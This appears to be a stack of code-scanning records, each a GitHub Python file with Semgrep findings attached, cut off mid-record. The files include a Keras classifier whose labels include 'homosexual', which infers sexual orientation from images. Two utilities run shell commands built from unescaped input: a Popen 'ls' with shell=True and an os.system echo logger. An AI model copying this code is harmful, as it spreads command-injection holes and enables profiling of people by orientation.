{ "blob_id": "9df452ab92111bd56347847a66c1f6b0df0490fb", "branch_name": "refs/heads/master", "committer_date": 1591400105000, "content_id": "7990b37418ff09c53dc7c3a36d94b601217bc8fc", "detected_licenses": [ "Apache-2.0" ], "directory_id": "740a77f714c8e297b4576d6f6ecb527e04f8b07f", "extension": "py", "filename": "train75_25.py", "fork_events_count": 1, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": 263427458, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4447, "license": "Apache-2.0", "license_type": "permissive", "path": "/train75_25.py", "provenance": "stack-edu-0054.json.gz:587010", "repo_name": "ypmunoz36/kerasDeepLSC", "revision_date": 1591400105000, "revision_id": "cab45f07e7ef4b3f021cc9a35dd7d0cd19c93901", "snapshot_id": "aced03ce03d8c6080a920ae2d01bcfd3b0965590", "src_encoding": "UTF-8", "star_events_count": 0, "url": "https://raw.githubusercontent.com/ypmunoz36/kerasDeepLSC/cab45f07e7ef4b3f021cc9a35dd7d0cd19c93901/train75_25.py", "visit_date": "2022-09-20T02:47:39.868785" }
2.640625
stackv2
# USO # python train.py --dataset /data --model model/activity.model --label-bin model/lb.pickle --epochs 100 import matplotlib matplotlib.use("Agg") # Importacion de paquetes necesarios from keras.preprocessing.image import ImageDataGenerator from keras.layers.pooling import AveragePooling2D from keras.applications import ResNet50 from keras.layers.core import Dropout from keras.layers.core import Flatten from keras.layers.core import Dense from keras.layers import Input from keras.models import Model from keras.optimizers import SGD from sklearn.preprocessing import LabelBinarizer from sklearn.model_selection import train_test_split from sklearn.metrics import classification_report from imutils import paths import matplotlib.pyplot as plt import numpy as np import argparse import pickle import cv2 import os # Se reciben los argumentos ap = argparse.ArgumentParser() ap.add_argument("-d", "--dataset", required=True, help="path to input dataset") ap.add_argument("-m", "--model", required=True, help="path to output serialized model") ap.add_argument("-l", "--label-bin", required=True, help="path to output label binarizer") ap.add_argument("-e", "--epochs", type=int, default=25, help="# of epochs to train our network for") ap.add_argument("-p", "--plot", type=str, default="plot.png", help="path to output loss/accuracy plot") args = vars(ap.parse_args()) # Se inicializa un arreglo de clases LABELS = set(["bebe", "anciano", "hombre","homosexual","joven"]) print("[INFO] Cargando fotogramas...") imagePaths = list(paths.list_images(args["dataset"])) data = [] labels = [] # recorre las rutas de las carpetas for imagePath in imagePaths: label = imagePath.split(os.path.sep)[-2] if label not in LABELS: continue #Lectura de cada fotograma image = cv2.imread(imagePath) data.append(image) labels.append(label) #arreglos NumPy data = np.array(data) labels = np.array(labels) lb = LabelBinarizer() labels = lb.fit_transform(labels) # divide el conjunto de datos en training y testing (trainX, testX, trainY, testY) = train_test_split(data, labels, test_size=0.25, stratify=labels, random_state=42) #Inicializa el entrenamiento trainAug = ImageDataGenerator( rotation_range=30, zoom_range=0.15, width_shift_range=0.2, height_shift_range=0.2, shear_range=0.15, horizontal_flip=True, fill_mode="nearest") valAug = ImageDataGenerator() mean = np.array([123.68, 116.779, 103.939], dtype="float32") trainAug.mean = mean valAug.mean = mean #Carga la red ResNet-50 baseModel = ResNet50(weights="imagenet", include_top=False, input_tensor=Input(shape=(224, 224, 3))) headModel = baseModel.output headModel = AveragePooling2D(pool_size=(7, 7))(headModel) headModel = Flatten(name="flatten")(headModel) headModel = Dense(512, activation="relu")(headModel) headModel = Dropout(0.5)(headModel) headModel = Dense(len(lb.classes_), activation="softmax")(headModel) model = Model(inputs=baseModel.input, outputs=headModel) for layer in baseModel.layers: layer.trainable = False #Compila el modelo print("[INFO] Compilando el modelo...") opt = SGD(lr=1e-4, momentum=0.9, decay=1e-4 / args["epochs"]) model.compile(loss="categorical_crossentropy", optimizer=opt, metrics=["accuracy"]) print("[INFO] training head...") H = model.fit_generator( trainAug.flow(trainX, trainY, batch_size=32), steps_per_epoch=len(trainX) // 32, validation_data=valAug.flow(testX, testY), validation_steps=len(testX) // 32, epochs=args["epochs"]) # Evaluar la red print("[INFO] Evaludando la red...") predictions = model.predict(testX, batch_size=32) print(classification_report(testY.argmax(axis=1), predictions.argmax(axis=1), target_names=lb.classes_)) # Grafico de training loss y accuracy N = args["epochs"] plt.style.use("ggplot") plt.figure() plt.plot(np.arange(0, N), H.history["loss"], label="train_loss") plt.plot(np.arange(0, N), H.history["val_loss"], label="val_loss") plt.plot(np.arange(0, N), H.history["accuracy"], label="train_accuracy") plt.plot(np.arange(0, N), H.history["val_accuracy"], label="val_accuracy") plt.title("-->Training Loss and Accuracy on Dataset") plt.xlabel("Epoch #") plt.ylabel("Loss/Accuracy") plt.legend(loc="lower left") plt.savefig(args["plot"]) # Serializa el modelo y lo guarda en disco print("[INFO] serializing network...") model.save(args["model"]) # serialize the label binarizer to disk f = open(args["label_bin"], "wb") f.write(pickle.dumps(lb)) f.close()
147
29.26
103
11
1,177
python
[{"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_3e5720a9ae065e57_72fd8123", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 146, "line_end": 146, "column_start": 9, "column_end": 25, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmp10dxl77l/3e5720a9ae065e57.py", "start": {"line": 146, "col": 9, "offset": 4420}, "end": {"line": 146, "col": 25, "offset": 4436}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
1
true
[ "CWE-502" ]
[ "rules.python.lang.security.deserialization.avoid-pickle" ]
[ "security" ]
[ "LOW" ]
[ "MEDIUM" ]
[ 146 ]
[ 146 ]
[ 9 ]
[ 25 ]
[ "A08:2017 - Insecure Deserialization" ]
[ "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format." ]
[ 5 ]
[ "LOW" ]
[ "MEDIUM" ]
train75_25.py
/train75_25.py
ypmunoz36/kerasDeepLSC
Apache-2.0
2024-11-18T22:24:25.699031+00:00
1,566,885,393,000
0b7b084ab4653805950870d99d637532a772c1a9
2
{ "blob_id": "0b7b084ab4653805950870d99d637532a772c1a9", "branch_name": "refs/heads/master", "committer_date": 1566885393000, "content_id": "f82f89e0967017b5a2a2235bfe543faaaa1ac645", "detected_licenses": [ "BSD-2-Clause" ], "directory_id": "3e24611b7315b5ad588b2128570f1341b9c968e8", "extension": "py", "filename": "utils.py", "fork_events_count": 0, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": null, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 13541, "license": "BSD-2-Clause", "license_type": "permissive", "path": "/pacbiolib/pacbio/pythonpkgs/pbcommand/lib/python2.7/site-packages/pbcommand/utils.py", "provenance": "stack-edu-0054.json.gz:587023", "repo_name": "bioCKO/lpp_Script", "revision_date": 1566885393000, "revision_id": "0cb2eedb48d4afa25abc2ed7231eb1fdd9baecc2", "snapshot_id": "dc327be88c7d12243e25557f7da68d963917aa90", "src_encoding": "UTF-8", "star_events_count": 0, "url": "https://raw.githubusercontent.com/bioCKO/lpp_Script/0cb2eedb48d4afa25abc2ed7231eb1fdd9baecc2/pacbiolib/pacbio/pythonpkgs/pbcommand/lib/python2.7/site-packages/pbcommand/utils.py", "visit_date": "2022-02-27T12:35:05.979231" }
2.421875
stackv2
"""Utils for common funcs, such as setting up a log, composing functions.""" import functools import os import logging import logging.config import argparse import pprint import traceback import time import types import subprocess from contextlib import contextmanager import xml.etree.ElementTree as ET from pbcommand.models import FileTypes, DataSetMetaData log = logging.getLogger(__name__) log.addHandler(logging.NullHandler()) # suppress the annoying no handlers msg class Constants(object): LOG_FMT_ONLY_MSG = '%(message)s' LOG_FMT_ERR = '%(message)s' LOG_FMT_LVL = '[%(levelname)s] %(message)s' LOG_FMT_MIN = '[%(asctime)-15sZ] %(message)s' LOG_FMT_SIMPLE = '[%(levelname)s] %(asctime)-15sZ %(message)s' LOG_FMT_STD = '[%(levelname)s] %(asctime)-15sZ [%(name)s] %(message)s' LOG_FMT_FULL = '[%(levelname)s] %(asctime)-15sZ [%(name)s %(funcName)s %(lineno)d] %(message)s' class ExternalCommandNotFoundError(Exception): """External command is not found in Path""" pass def _handler_stream_d(stream, level_str, formatter_id): d = {'level': level_str, 'class': "logging.StreamHandler", 'formatter': formatter_id, 'stream': stream} return d _handler_stdout_stream_d = functools.partial(_handler_stream_d, "ext://sys.stdout") _handler_stderr_stream_d = functools.partial(_handler_stream_d, "ext://sys.stderr") def _handler_file(level_str, path, formatter_id): d = {'class': 'logging.FileHandler', 'level': level_str, 'formatter': formatter_id, 'filename': path} return d def _get_default_logging_config_dict(level, file_name_or_none, formatter): """ Setup a logger to either a file or console. If file name is none, then a logger will be setup to stdout. :note: adds console Returns a dict configuration of the logger. """ level_str = logging.getLevelName(level) formatter_id = 'custom_logger_fmt' console_handler_id = "console_handler" error_fmt_id = "error_fmt_id" error_handler_id = "error_handler" error_handler_d = _handler_stderr_stream_d(logging.ERROR, error_fmt_id) if file_name_or_none is None: handler_d = _handler_stdout_stream_d(level_str, formatter_id) else: handler_d = _handler_file(level_str, file_name_or_none, formatter_id) formatters_d = {fid: {'format': fx} for fid, fx in [(formatter_id, formatter), (error_fmt_id, Constants.LOG_FMT_ERR)]} handlers_d = {console_handler_id: handler_d, error_handler_id: error_handler_d} loggers_d = {"custom": {'handlers': [console_handler_id], 'stderr': {'handlers': [error_handler_id]}}} d = { 'version': 1, 'disable_existing_loggers': False, # this fixes the problem 'formatters': formatters_d, 'handlers': handlers_d, 'loggers': loggers_d, 'root': {'handlers': [error_handler_id, console_handler_id], 'level': logging.NOTSET} } #print pprint.pformat(d) return d def _get_console_and_file_logging_config_dict(console_level, console_formatter, path, path_level, path_formatter): """ Get logging configuration that is both for console and a file. :note: A stderr logger handler is also added. """ def _to_handler_d(handlers_, level): return {"handlers": handlers_, "level": level, "propagate": True} console_handler_id = "console_handler" console_fmt_id = "console_fmt" console_handler_d = _handler_stdout_stream_d(console_level, console_fmt_id) stderr_handler_id = "stderr_handler" error_fmt_id = "error_fmt" stderr_handler_d = _handler_stderr_stream_d(logging.ERROR, console_fmt_id) file_handler_id = "file_handler" file_fmt_id = "file_fmt" file_handler_d = _handler_file(path_level, path, file_fmt_id) formatters = {console_fmt_id: {"format": console_formatter}, file_fmt_id: {"format": path_formatter}, error_fmt_id: {"format": Constants.LOG_FMT_ERR} } handlers = {console_handler_id: console_handler_d, file_handler_id: file_handler_d, stderr_handler_id: stderr_handler_d} loggers = {"console": _to_handler_d([console_handler_id], console_level), "custom_file": _to_handler_d([file_handler_id], path_level), "stderr_err": _to_handler_d([stderr_handler_id], logging.ERROR) } d = {'version': 1, 'disable_existing_loggers': False, # this fixes the problem 'formatters': formatters, 'handlers': handlers, 'loggers': loggers, 'root': {'handlers': handlers.keys(), 'level': logging.DEBUG} } #print pprint.pformat(d) return d def _setup_logging_config_d(d): logging.config.dictConfig(d) logging.Formatter.converter = time.gmtime return d def setup_logger(file_name_or_none, level, formatter=Constants.LOG_FMT_FULL): """ :param file_name_or_none: Path to log file, None will default to stdout :param level: logging.LEVEL of :param formatter: Log Formatting string """ d = _get_default_logging_config_dict(level, file_name_or_none, formatter) return _setup_logging_config_d(d) def setup_console_and_file_logger(stdout_level, stdout_formatter, path, path_level, path_formatter): d = _get_console_and_file_logging_config_dict(stdout_level, stdout_formatter, path, path_level, path_formatter) return _setup_logging_config_d(d) def setup_log(alog, level=logging.INFO, file_name=None, log_filter=None, str_formatter=Constants.LOG_FMT_FULL): """Core Util to setup log handler THIS NEEDS TO BE DEPRECATED :param alog: a log instance :param level: (int) Level of logging debug :param file_name: (str, None) if None, stdout is used, str write to file :param log_filter: (LogFilter, None) :param str_formatter: (str) log formatting str """ setup_logger(file_name, level, formatter=str_formatter) # FIXME. Keeping the interface, but the specific log instance isn't used, # the python logging setup mutates global state if log_filter is not None: alog.warn("log_filter kw is no longer supported") return alog def get_parsed_args_log_level(pargs, default_level=logging.INFO): """ Utility for handling logging setup flexibly in a variety of use cases, assuming standard command-line arguments. :param pargs: argparse namespace or equivalent :param default_level: logging level to use if the parsed arguments do not specify one """ level = default_level if isinstance(level, basestring): level = logging.getLevelName(level) if hasattr(pargs, 'verbosity') and pargs.verbosity > 0: if pargs.verbosity >= 2: level = logging.DEBUG else: level = logging.INFO elif hasattr(pargs, 'debug') and pargs.debug: level = logging.DEBUG elif hasattr(pargs, 'quiet') and pargs.quiet: level = logging.ERROR elif hasattr(pargs, 'log_level'): level = logging.getLevelName(pargs.log_level) return level def log_traceback(alog, ex, ex_traceback): """ Log a python traceback in the log file :param ex: python Exception instance :param ex_traceback: exception traceback Example Usage (assuming you have a log instance in your scope) try: 1 / 0 except Exception as e: msg = "{i} failed validation. {e}".format(i=item, e=e) log.error(msg) _, _, ex_traceback = sys.exc_info() log_traceback(log, e, ex_traceback) """ tb_lines = traceback.format_exception(ex.__class__, ex, ex_traceback) tb_text = ''.join(tb_lines) alog.error(tb_text) def _simple_validate_type(atype, instance): if not isinstance(instance, atype): _d = dict(t=atype, x=type(instance), v=instance) raise TypeError("Expected type {t}. Got type {x} for {v}".format(**_d)) return instance _is_argparser_instance = functools.partial(_simple_validate_type, argparse.ArgumentParser) def is_argparser_instance(func): @functools.wraps def wrapper(*args, **kwargs): _is_argparser_instance(args[0]) return func(*args, **kwargs) return wrapper def compose(*funcs): """ Functional composition of a non-empty list [f, g, h] will be f(g(h(x))) fx = compose(f, g, h) or fx = compose(*[f, g, h]) """ if not funcs: raise ValueError("Compose only supports non-empty lists") for func in funcs: if not isinstance(func, (types.BuiltinMethodType, functools.partial, types.MethodType, types.BuiltinFunctionType, types.FunctionType)): raise TypeError("Only Function types are supported") def compose_two(f, g): def c(x): return f(g(x)) return c return functools.reduce(compose_two, funcs) def which(exe_str): """walk the exe_str in PATH to get current exe_str. If path is found, the full path is returned. Else it returns None. """ paths = os.environ.get('PATH', None) resolved_exe = None if paths is None: # log warning msg = "PATH env var is not defined." log.error(msg) return resolved_exe for path in paths.split(":"): exe_path = os.path.join(path, exe_str) # print exe_path if os.path.exists(exe_path): resolved_exe = exe_path break # log.debug("Resolved cmd {e} to {x}".format(e=exe_str, x=resolved_exe)) return resolved_exe def which_or_raise(cmd): resolved_cmd = which(cmd) if resolved_cmd is None: raise ExternalCommandNotFoundError("Unable to find required cmd '{c}'".format(c=cmd)) else: return resolved_cmd class Singleton(type): """ General Purpose singleton class Usage: >>> class MyClass(object): >>> __metaclass__ = Singleton >>> def __init__(self): >>> self.name = 'name' """ def __init__(cls, name, bases, dct): super(Singleton, cls).__init__(name, bases, dct) cls.instance = None def __call__(cls, *args, **kw): if cls.instance is None: cls.instance = super(Singleton, cls).__call__(*args) return cls.instance def nfs_exists_check(ff): """ Central place for all NFS hackery Return whether a file or a dir ff exists or not. Call listdir() instead of os.path.exists() to eliminate NFS errors. Added try/catch black hole exception cases to help trigger an NFS refresh :rtype bool: """ try: # All we really need is opendir(), but listdir() is usually fast. os.listdir(os.path.dirname(os.path.realpath(ff))) # But is it a file or a directory? We do not know until it actually exists. if os.path.exists(ff): return True # Might be a directory, so refresh itself too. # Not sure this is necessary, since we already ran this on parent, # but it cannot hurt. os.listdir(os.path.realpath(ff)) if os.path.exists(ff): return True except OSError: pass # The rest is probably unnecessary, but it cannot hurt. # try to trigger refresh for File case try: f = open(ff, 'r') f.close() except Exception: pass # try to trigger refresh for Directory case try: _ = os.stat(ff) _ = os.listdir(ff) except Exception: pass # Call externally # this is taken from Yuan cmd = "ls %s" % ff rcode = 1 try: p = subprocess.Popen([cmd], shell=True) rcode = p.wait() except Exception: pass return rcode == 0 def nfs_refresh(path, ntimes=3, sleep_time=1.0): while True: if nfs_exists_check(path): return True ntimes -= 1 if ntimes <= 0: break time.sleep(sleep_time) log.warn("NFS refresh failed. unable to resolve {p}".format(p=path)) return False @contextmanager def ignored(*exceptions): try: yield except exceptions: pass def get_dataset_metadata(path): """ Returns DataSetMeta data or raises ValueError, KeyError :param path: :return: """ uuid = mt = None for event, element in ET.iterparse(path, events=("start",)): uuid = element.get("UniqueId") mt = element.get("MetaType") break if mt in FileTypes.ALL_DATASET_TYPES().keys(): return DataSetMetaData(uuid, mt) else: raise ValueError("Unsupported dataset type '{t}'".format(t=mt)) def get_dataset_metadata_or_none(path): """ Returns DataSetMeta data, else None :param path: :return: """ try: return get_dataset_metadata(path) except Exception: return None def is_dataset(path): """peek into the XML to get the MetaType""" return get_dataset_metadata_or_none(path) is not None def walker(root_dir, file_filter_func): """Filter files F(path) -> bool""" for root, dnames, fnames in os.walk(root_dir): for fname in fnames: path = os.path.join(root, fname) if file_filter_func(path): yield path
468
27.93
122
14
3,148
python
[{"finding_id": "semgrep_rules.python.lang.security.use-defused-xml_8e695a8e32077df8_a84934fe", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.use-defused-xml", "finding_type": "security", "severity": "high", "confidence": "low", "message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "remediation": "", "location": {"file_path": "unknown", "line_start": 13, "line_end": 13, "column_start": 1, "column_end": 35, "code_snippet": "requires login"}, "cwe_id": "CWE-611: Improper Restriction of XML External Entity Reference", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A04:2017 - XML External Entities (XXE)", "references": [{"url": "https://docs.python.org/3/library/xml.html", "title": null}, {"url": "https://github.com/tiran/defusedxml", "title": null}, {"url": "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.use-defused-xml", "path": "/tmp/tmp10dxl77l/8e695a8e32077df8.py", "start": {"line": 13, "col": 1, "offset": 269}, "end": {"line": 13, "col": 35, "offset": 303}, "extra": {"message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "metadata": {"owasp": ["A04:2017 - XML External Entities (XXE)", "A05:2021 - Security Misconfiguration", "A02:2025 - Security Misconfiguration"], "cwe": ["CWE-611: Improper Restriction of XML External Entity Reference"], "references": ["https://docs.python.org/3/library/xml.html", "https://github.com/tiran/defusedxml", "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_8e695a8e32077df8_cb75cab7", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 381, "line_end": 381, "column_start": 13, "column_end": 26, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmp10dxl77l/8e695a8e32077df8.py", "start": {"line": 381, "col": 13, "offset": 11573}, "end": {"line": 381, "col": 26, "offset": 11586}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-audit_8e695a8e32077df8_d7e1fae3", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 398, "line_end": 398, "column_start": 13, "column_end": 48, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}, {"url": "https://docs.python.org/3/library/shlex.html", "title": null}, {"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "path": "/tmp/tmp10dxl77l/8e695a8e32077df8.py", "start": {"line": 398, "col": 13, "offset": 11895}, "end": {"line": 398, "col": 48, "offset": 11930}, "extra": {"message": "Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html", "https://docs.python.org/3/library/shlex.html", "https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.subprocess-shell-true_8e695a8e32077df8_16bae3c7", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.subprocess-shell-true", "finding_type": "security", "severity": "high", "confidence": "medium", "message": "Found 'subprocess' function 'Popen' with 'shell=True'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use 'shell=False' instead.", "remediation": "False", "location": {"file_path": "unknown", "line_start": 398, "line_end": 398, "column_start": 43, "column_end": 47, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.subprocess-shell-true", "path": "/tmp/tmp10dxl77l/8e695a8e32077df8.py", "start": {"line": 398, "col": 43, "offset": 11925}, "end": {"line": 398, "col": 47, "offset": 11929}, "extra": {"message": "Found 'subprocess' function 'Popen' with 'shell=True'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use 'shell=False' instead.", "fix": "False", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b602_subprocess_popen_with_shell_equals_true.html", "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["secure default"], "likelihood": "HIGH", "impact": "LOW", "confidence": "MEDIUM"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
4
true
[ "CWE-611", "CWE-78", "CWE-78" ]
[ "rules.python.lang.security.use-defused-xml", "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "rules.python.lang.security.audit.subprocess-shell-true" ]
[ "security", "security", "security" ]
[ "LOW", "LOW", "MEDIUM" ]
[ "HIGH", "HIGH", "HIGH" ]
[ 13, 398, 398 ]
[ 13, 398, 398 ]
[ 1, 13, 43 ]
[ 35, 48, 47 ]
[ "A04:2017 - XML External Entities (XXE)", "A01:2017 - Injection", "A01:2017 - Injection" ]
[ "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "Detected subprocess function 'Popen' without a static stri...
[ 7.5, 7.5, 7.5 ]
[ "LOW", "LOW", "HIGH" ]
[ "MEDIUM", "HIGH", "LOW" ]
utils.py
/pacbiolib/pacbio/pythonpkgs/pbcommand/lib/python2.7/site-packages/pbcommand/utils.py
bioCKO/lpp_Script
BSD-2-Clause
2024-11-18T22:35:56.127909+00:00
1,404,857,259,000
7e395695df1735e5b703f791d4c82cab6b14bb60
2
{ "blob_id": "7e395695df1735e5b703f791d4c82cab6b14bb60", "branch_name": "refs/heads/master", "committer_date": 1404857259000, "content_id": "be5a05d6e8064ca0c0a27334b3446297fde7fc52", "detected_licenses": [ "MIT" ], "directory_id": "b6c01b126209e16850acea61b7b752ae80702516", "extension": "py", "filename": "logger.py", "fork_events_count": 0, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": null, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 608, "license": "MIT", "license_type": "permissive", "path": "/base/modules/rat/logger.py", "provenance": "stack-edu-0054.json.gz:587069", "repo_name": "nv8h/PyRattus", "revision_date": 1404857259000, "revision_id": "2b6dff1697724b5035e5628201fe4fec44924e7d", "snapshot_id": "73f49116ff4ad87f05794d0a342b20652993e7f3", "src_encoding": "UTF-8", "star_events_count": 0, "url": "https://raw.githubusercontent.com/nv8h/PyRattus/2b6dff1697724b5035e5628201fe4fec44924e7d/base/modules/rat/logger.py", "visit_date": "2016-09-07T18:39:06.489105" }
2.46875
stackv2
# import sys import os import rat def log(msg, desc=""): now = rat.datetime.now() files = rat.registry.getValue("file") if (files is not None and "log" in files): os.system("echo '[" + str(now) + "] " + desc + ": " + msg + "' >> " + files["log"]) return True # end if print ("Warning: \"log\" key does not exists") print (msg) return False def logException(msg): return log(msg, "Exception") def logInfo(msg): return log(msg, "Info") def logWarning(msg): return log(msg, "Warning") def debug(msg): return log(msg, "Debug")
29
20
91
18
163
python
[{"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-audit_507000c2eeac6734_c495cc1c", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 11, "line_end": 11, "column_start": 9, "column_end": 92, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], 